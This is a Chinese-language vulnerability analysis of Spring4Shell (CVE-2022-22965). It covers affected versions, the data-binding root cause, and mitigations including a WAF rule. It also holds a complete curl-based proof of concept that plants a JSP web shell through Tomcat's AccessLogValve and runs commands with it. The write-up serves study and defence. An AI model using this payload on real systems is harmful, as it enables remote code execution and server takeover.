一、漏洞简介

1.1 漏洞背景

Spring4Shell(又称 SpringShell)是一个影响 Spring Framework 的远程代码执行漏洞。虽然这不是 Tomcat 本身的漏洞,但由于 Tomcat 是 Spring Boot 的默认嵌入式服务器,且该漏洞的利用依赖于 Tomcat 的 AccessLogValve 特性,因此在此一并讨论。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2022-22965
危害等级 CRITICAL / 9.8
漏洞类型 Spring4Shell RCE 漏洞
披露时间 2022-04-01
影响组件 Apache Tomcat 历史
  • CVE 编号:CVE-2022-22965
  • 危害等级:Critical(严重)
  • 披露时间:2022年3月
  • 漏洞类型:远程代码执行(RCE)
  • CVSS 评分:9.8(严重)

补充核验信息:公开时间:2022-04-01;NVD 评分:9.8(CRITICAL);CWE:CWE-94。

二、影响范围

2.1 受影响的版本

组件 受影响范围
Spring Framework 5.3.0 ~ 5.3.17 / 5.2.0 ~ 5.2.19

Tomcat 作为运行容器时: - Tomcat 9.x(所有版本) - Tomcat 8.x(所有版本) - Tomcat 10.x(所有版本)

2.2 不受影响的版本

组件 修复版本
Spring Framework ≥ 5.3.18 / ≥ 5.2.20

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. JDK 9+(包含 getClass().getModule().getClassLoader() 方法)
  2. Spring Framework 5.3.0 - 5.3.17 或 5.2.0 - 5.2.19
  3. 部署在 Tomcat 容器中(WAR 包部署方式)
  4. 使用 Spring 的数据绑定功能(如 @RequestMapping 接收 POJO 参数)

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞利用了 Spring 的数据绑定(Data Binding)功能与 JDK 9+ 引入的模块系统相结合的特性链:

  1. Spring 数据绑定:允许通过请求参数自动绑定到 Java 对象属性
  2. 类加载器访问链
  3. class.module.classLoader.resources.context.parent.pipeline.first.pattern
  4. 这条调用链最终可以访问到 Tomcat 的 AccessLogValve
  5. 修改 Tomcat 配置:通过修改 AccessLogValve 的属性,可以控制 Tomcat 的访问日志格式和位置
  6. 写入恶意 JSP:通过精心构造的日志格式,将恶意 JSP 代码写入 webapps 目录
  7. 执行代码:访问写入的 JSP 文件,执行任意命令

3.2 源码层面的根因分析(结合源码与补丁对比)

攻击链路径

User.class
  -> getClass().getModule()  // JDK 9+ 新增
    -> getClassLoader()      // Tomcat's ParallelWebappClassLoader
      -> getResources()
        -> getContext()
          -> getParent()
            -> getPipeline()
              -> getFirst()   // AccessLogValve

关键代码段

// Spring 的 BeanWrapperImpl 允许嵌套属性访问
BeanWrapperImpl wrapper = new BeanWrapperImpl(user);
// 攻击者可以通过请求参数设置深层嵌套属性
wrapper.setPropertyValue("class.module.classLoader.resources.context.parent.pipeline.first.pattern", maliciousPayload);

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker 搭建漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22965
docker-compose up -d

4.2 PoC 演示与测试过程

# 步骤1:修改 AccessLogValve 的 pattern 属性
curl -X POST "http://target:8080/app/add" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "prefix: <%25" \
    -H "suffix: %>i" \
    -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20if(%22a%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di"

# 步骤2:设置日志文件后缀
curl -X POST "http://target:8080/app/add" \
    -d "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"

# 步骤3:设置日志目录
curl -X POST "http://target:8080/app/add" \
    -d "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"

# 步骤4:设置日志文件前缀
curl -X POST "http://target:8080/app/add" \
    -d "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell"

# 步骤5:设置文件名日期格式为空
curl -X POST "http://target:8080/app/add" \
    -d "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

# 步骤6:触发日志写入(发送任意请求)
curl "http://target:8080/app/"

# 步骤7:执行命令
curl "http://target:8080/shell.jsp?pwd=a&cmd=id"

五、修复建议与缓解措施

5.1 官方版本升级建议

当前版本 升级目标
Spring 5.3.x < 5.3.18 升级至 5.3.18+
Spring 5.2.x < 5.2.20 升级至 5.2.20+

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 设置 disallowedFields(Spring 5.3.17+ 临时修复):
@ControllerAdvice
public class BinderAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
        String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
        dataBinder.setDisallowedFields(denylist);
    }
}
  1. 使用 JDK 8:虽然不是推荐做法,但 JDK 8 不包含 getModule() 方法,可暂时阻止攻击链。

  2. WAF 规则

# 拦截包含 class.module 的请求参数
SecRule ARGS "@contains class.module" "deny,status:403"

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://tanzu.vmware.com/security/cve-2022-22965
  • https://cert-portal.siemens.com/productcert/pdf/ssa-254054.pdf
  • https://www.oracle.com/security-alerts/cpujul2022.html
  • https://github.com/vulhub/vulhub.git
  • https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2022-22965
  • CVE:https://www.cve.org/CVERecord?id=CVE-2022-22965
  • https://tanzu.vmware.com/security/cve-2022-22965
  • https://cert-portal.siemens.com/productcert/pdf/ssa-254054.pdf
  • https://www.oracle.com/security-alerts/cpujul2022.html
  • http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005
  • https://github.com/vulhub/vulhub.git